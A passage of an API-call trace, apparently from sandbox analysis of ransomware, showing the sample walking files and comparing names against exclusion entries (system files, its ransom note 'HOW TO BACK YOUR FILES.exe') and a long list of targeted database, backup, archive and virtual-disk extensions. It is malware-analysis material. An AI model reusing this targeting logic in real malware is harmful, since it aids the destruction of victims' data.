	[0066.579] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.579] lstrlenW (lpString="db2") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.579] lstrlenW (lpString="db3") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.579] lstrlenW (lpString="dbf") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.579] lstrlenW (lpString="mdf") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.579] lstrlenW (lpString="mdb") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.579] lstrlenW (lpString="sql") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.579] lstrlenW (lpString="sqlite") returned 6
	[0066.579] lstrcmpiW (lpString1="98.POC", lpString2="sqlite") returned -1
	[0066.579] lstrlenW (lpString="sqlite3") returned 7
	[0066.579] lstrcmpiW (lpString1="D98.POC", lpString2="sqlite3") returned -1
	[0066.579] lstrlenW (lpString="sqlitedb") returned 8
	[0066.579] lstrlenW (lpString="xml") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.579] lstrlenW (lpString="$er") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.579] lstrlenW (lpString="4dd") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.579] lstrlenW (lpString="4dl") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.579] lstrlenW (lpString="^^^") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.580] lstrlenW (lpString="abs") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.580] lstrlenW (lpString="abx") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.580] lstrlenW (lpString="accdb") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accdb") returned -1
	[0066.580] lstrlenW (lpString="accdc") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accdc") returned -1
	[0066.580] lstrlenW (lpString="accde") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accde") returned -1
	[0066.580] lstrlenW (lpString="accdr") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accdr") returned -1
	[0066.580] lstrlenW (lpString="accdt") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accdt") returned -1
	[0066.580] lstrlenW (lpString="accdw") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accdw") returned -1
	[0066.580] lstrlenW (lpString="accft") returned 5
	[0066.580] lstrcmpiW (lpString1="8.POC", lpString2="accft") returned -1
	[0066.580] lstrlenW (lpString="adb") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.580] lstrlenW (lpString="adb") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.580] lstrlenW (lpString="ade") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.580] lstrlenW (lpString="adf") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.580] lstrlenW (lpString="adn") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.580] lstrlenW (lpString="adp") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.580] lstrlenW (lpString="alf") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.580] lstrlenW (lpString="ask") returned 3
	[0066.580] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.580] lstrlenW (lpString="btr") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.581] lstrlenW (lpString="cat") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.581] lstrlenW (lpString="cdb") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.581] lstrlenW (lpString="ckp") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.581] lstrlenW (lpString="cma") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.581] lstrlenW (lpString="cpd") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.581] lstrlenW (lpString="dacpac") returned 6
	[0066.581] lstrcmpiW (lpString1="98.POC", lpString2="dacpac") returned -1
	[0066.581] lstrlenW (lpString="dad") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.581] lstrlenW (lpString="dadiagrams") returned 10
	[0066.581] lstrlenW (lpString="daschema") returned 8
	[0066.581] lstrlenW (lpString="db-journal") returned 10
	[0066.581] lstrlenW (lpString="db-shm") returned 6
	[0066.581] lstrcmpiW (lpString1="98.POC", lpString2="db-shm") returned -1
	[0066.581] lstrlenW (lpString="db-wal") returned 6
	[0066.581] lstrcmpiW (lpString1="98.POC", lpString2="db-wal") returned -1
	[0066.581] lstrlenW (lpString="dbc") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.581] lstrlenW (lpString="dbs") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.581] lstrlenW (lpString="dbt") returned 3
	[0066.581] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.581] lstrlenW (lpString="dbv") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.582] lstrlenW (lpString="dbx") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.582] lstrlenW (lpString="dcb") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.582] lstrlenW (lpString="dct") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.582] lstrlenW (lpString="dcx") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.582] lstrlenW (lpString="ddl") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.582] lstrlenW (lpString="dlis") returned 4
	[0066.582] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.582] lstrlenW (lpString="dp1") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.582] lstrlenW (lpString="dqy") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.582] lstrlenW (lpString="dsk") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.582] lstrlenW (lpString="dsn") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.582] lstrlenW (lpString="dtsx") returned 4
	[0066.582] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.582] lstrlenW (lpString="dxl") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.582] lstrlenW (lpString="eco") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.582] lstrlenW (lpString="ecx") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.582] lstrlenW (lpString="edb") returned 3
	[0066.582] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.582] lstrlenW (lpString="epim") returned 4
	[0066.582] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.582] lstrlenW (lpString="fcd") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.583] lstrlenW (lpString="fdb") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.583] lstrlenW (lpString="fic") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.583] lstrlenW (lpString="flexolibrary") returned 12
	[0066.583] lstrlenW (lpString="fm5") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.583] lstrlenW (lpString="fmp") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.583] lstrlenW (lpString="fmp12") returned 5
	[0066.583] lstrcmpiW (lpString1="8.POC", lpString2="fmp12") returned -1
	[0066.583] lstrlenW (lpString="fmpsl") returned 5
	[0066.583] lstrcmpiW (lpString1="8.POC", lpString2="fmpsl") returned -1
	[0066.583] lstrlenW (lpString="fol") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.583] lstrlenW (lpString="fp3") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.583] lstrlenW (lpString="fp4") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.583] lstrlenW (lpString="fp5") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.583] lstrlenW (lpString="fp7") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.583] lstrlenW (lpString="fpt") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.583] lstrlenW (lpString="frm") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.583] lstrlenW (lpString="gdb") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.583] lstrlenW (lpString="gdb") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.583] lstrlenW (lpString="grdb") returned 4
	[0066.583] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.583] lstrlenW (lpString="gwi") returned 3
	[0066.583] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.584] lstrlenW (lpString="hdb") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.584] lstrlenW (lpString="his") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.584] lstrlenW (lpString="ib") returned 2
	[0066.584] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.584] lstrlenW (lpString="idb") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.584] lstrlenW (lpString="ihx") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.584] lstrlenW (lpString="itdb") returned 4
	[0066.584] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.584] lstrlenW (lpString="itw") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.584] lstrlenW (lpString="jet") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.584] lstrlenW (lpString="jtx") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.584] lstrlenW (lpString="kdb") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.584] lstrlenW (lpString="kexi") returned 4
	[0066.584] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.584] lstrlenW (lpString="kexic") returned 5
	[0066.584] lstrcmpiW (lpString1="8.POC", lpString2="kexic") returned -1
	[0066.584] lstrlenW (lpString="kexis") returned 5
	[0066.584] lstrcmpiW (lpString1="8.POC", lpString2="kexis") returned -1
	[0066.584] lstrlenW (lpString="lgc") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.584] lstrlenW (lpString="lwx") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.584] lstrlenW (lpString="maf") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.584] lstrlenW (lpString="maq") returned 3
	[0066.584] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.584] lstrlenW (lpString="mar") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.585] lstrlenW (lpString="marshal") returned 7
	[0066.585] lstrcmpiW (lpString1="D98.POC", lpString2="marshal") returned -1
	[0066.585] lstrlenW (lpString="mas") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.585] lstrlenW (lpString="mav") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.585] lstrlenW (lpString="maw") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.585] lstrlenW (lpString="mdbhtml") returned 7
	[0066.585] lstrcmpiW (lpString1="D98.POC", lpString2="mdbhtml") returned -1
	[0066.585] lstrlenW (lpString="mdn") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.585] lstrlenW (lpString="mdt") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.585] lstrlenW (lpString="mfd") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.585] lstrlenW (lpString="mpd") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.585] lstrlenW (lpString="mrg") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.585] lstrlenW (lpString="mud") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.585] lstrlenW (lpString="mwb") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.585] lstrlenW (lpString="myd") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.585] lstrlenW (lpString="ndf") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.585] lstrlenW (lpString="nnt") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.585] lstrlenW (lpString="nrmlib") returned 6
	[0066.585] lstrcmpiW (lpString1="98.POC", lpString2="nrmlib") returned -1
	[0066.585] lstrlenW (lpString="ns2") returned 3
	[0066.585] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.586] lstrlenW (lpString="ns3") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.586] lstrlenW (lpString="ns4") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.586] lstrlenW (lpString="nsf") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.586] lstrlenW (lpString="nv") returned 2
	[0066.586] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.586] lstrlenW (lpString="nv2") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.586] lstrlenW (lpString="nwdb") returned 4
	[0066.586] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.586] lstrlenW (lpString="nyf") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.586] lstrlenW (lpString="odb") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.586] lstrlenW (lpString="odb") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.586] lstrlenW (lpString="oqy") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.586] lstrlenW (lpString="ora") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.586] lstrlenW (lpString="orx") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.586] lstrlenW (lpString="owc") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.586] lstrlenW (lpString="p96") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.586] lstrlenW (lpString="p97") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.586] lstrlenW (lpString="pan") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.586] lstrlenW (lpString="pdb") returned 3
	[0066.586] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.586] lstrlenW (lpString="pdm") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.587] lstrlenW (lpString="pnz") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.587] lstrlenW (lpString="qry") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.587] lstrlenW (lpString="qvd") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.587] lstrlenW (lpString="rbf") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.587] lstrlenW (lpString="rctd") returned 4
	[0066.587] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.587] lstrlenW (lpString="rod") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.587] lstrlenW (lpString="rodx") returned 4
	[0066.587] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.587] lstrlenW (lpString="rpd") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.587] lstrlenW (lpString="rsd") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.587] lstrlenW (lpString="sas7bdat") returned 8
	[0066.587] lstrlenW (lpString="sbf") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.587] lstrlenW (lpString="scx") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.587] lstrlenW (lpString="sdb") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.587] lstrlenW (lpString="sdc") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.587] lstrlenW (lpString="sdf") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.587] lstrlenW (lpString="sis") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.587] lstrlenW (lpString="spq") returned 3
	[0066.587] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.587] lstrlenW (lpString="te") returned 2
	[0066.588] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.588] lstrlenW (lpString="teacher") returned 7
	[0066.588] lstrcmpiW (lpString1="D98.POC", lpString2="teacher") returned -1
	[0066.588] lstrlenW (lpString="tmd") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.588] lstrlenW (lpString="tps") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.588] lstrlenW (lpString="trc") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.588] lstrlenW (lpString="trc") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.588] lstrlenW (lpString="trm") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.588] lstrlenW (lpString="udb") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.588] lstrlenW (lpString="udl") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.588] lstrlenW (lpString="usr") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.588] lstrlenW (lpString="v12") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.588] lstrlenW (lpString="vis") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.588] lstrlenW (lpString="vpd") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.588] lstrlenW (lpString="vvv") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.588] lstrlenW (lpString="wdb") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.588] lstrlenW (lpString="wmdb") returned 4
	[0066.588] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.588] lstrlenW (lpString="wrk") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.588] lstrlenW (lpString="xdb") returned 3
	[0066.588] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.588] lstrlenW (lpString="xld") returned 3
	[0066.589] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
	[0066.589] lstrlenW (lpString="xmlff") returned 5
	[0066.589] lstrcmpiW (lpString1="8.POC", lpString2="xmlff") returned -1
	[0066.589] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADRESPEL.POC", cAlternateFileName="")) returned 1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="Apollon865.txt.exe") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2=".") returned 1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="..") returned 1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="windows") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="bootmgr") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="temp") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="pagefile.sys") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="boot") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="ids.txt") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="ntuser.dat") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="perflogs") returned -1
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2="MSBuild") returned -1
	[0066.589] lstrlenW (lpString="ADRESPEL.POC") returned 12
	[0066.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC") returned 58
	[0066.589] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ADRESPEL.POC" | out: lpString1="ADRESPEL.POC") returned="ADRESPEL.POC"
	[0066.589] lstrlenW (lpString="ADRESPEL.POC") returned 12
	[0066.589] lstrlenW (lpString="Apollon865") returned 10
	[0066.589] lstrcmpiW (lpString1="RESPEL.POC", lpString2="Apollon865") returned 1
	[0066.589] lstrlenW (lpString=".dll") returned 4
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2=".dll") returned 1
	[0066.589] lstrlenW (lpString=".lnk") returned 4
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2=".lnk") returned 1
	[0066.589] lstrlenW (lpString=".ini") returned 4
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2=".ini") returned 1
	[0066.589] lstrlenW (lpString=".sys") returned 4
	[0066.589] lstrcmpiW (lpString1="ADRESPEL.POC", lpString2=".sys") returned 1
	[0066.589] lstrlenW (lpString="ADRESPEL.POC") returned 12
	[0066.589] lstrlenW (lpString="bak") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.590] lstrlenW (lpString="ba_") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.590] lstrlenW (lpString="dbb") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.590] lstrlenW (lpString="vmdk") returned 4
	[0066.590] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.590] lstrlenW (lpString="rar") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.590] lstrlenW (lpString="zip") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.590] lstrlenW (lpString="tgz") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.590] lstrlenW (lpString="vbox") returned 4
	[0066.590] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.590] lstrlenW (lpString="vdi") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.590] lstrlenW (lpString="vhd") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.590] lstrlenW (lpString="vhdx") returned 4
	[0066.590] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.590] lstrlenW (lpString="avhd") returned 4
	[0066.590] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.590] lstrlenW (lpString="db") returned 2
	[0066.590] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.590] lstrlenW (lpString="db2") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.590] lstrlenW (lpString="db3") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.590] lstrlenW (lpString="dbf") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.590] lstrlenW (lpString="mdf") returned 3
	[0066.590] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.590] lstrlenW (lpString="mdb") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.591] lstrlenW (lpString="sql") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.591] lstrlenW (lpString="sqlite") returned 6
	[0066.591] lstrcmpiW (lpString1="EL.POC", lpString2="sqlite") returned -1
	[0066.591] lstrlenW (lpString="sqlite3") returned 7
	[0066.591] lstrcmpiW (lpString1="PEL.POC", lpString2="sqlite3") returned -1
	[0066.591] lstrlenW (lpString="sqlitedb") returned 8
	[0066.591] lstrcmpiW (lpString1="SPEL.POC", lpString2="sqlitedb") returned -1
	[0066.591] lstrlenW (lpString="xml") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.591] lstrlenW (lpString="$er") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.591] lstrlenW (lpString="4dd") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.591] lstrlenW (lpString="4dl") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.591] lstrlenW (lpString="^^^") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.591] lstrlenW (lpString="abs") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.591] lstrlenW (lpString="abx") returned 3
	[0066.591] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.591] lstrlenW (lpString="accdb") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accdb") returned 1
	[0066.591] lstrlenW (lpString="accdc") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accdc") returned 1
	[0066.591] lstrlenW (lpString="accde") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accde") returned 1
	[0066.591] lstrlenW (lpString="accdr") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accdr") returned 1
	[0066.591] lstrlenW (lpString="accdt") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accdt") returned 1
	[0066.591] lstrlenW (lpString="accdw") returned 5
	[0066.591] lstrcmpiW (lpString1="L.POC", lpString2="accdw") returned 1
	[0066.592] lstrlenW (lpString="accft") returned 5
	[0066.592] lstrcmpiW (lpString1="L.POC", lpString2="accft") returned 1
	[0066.592] lstrlenW (lpString="adb") returned 3
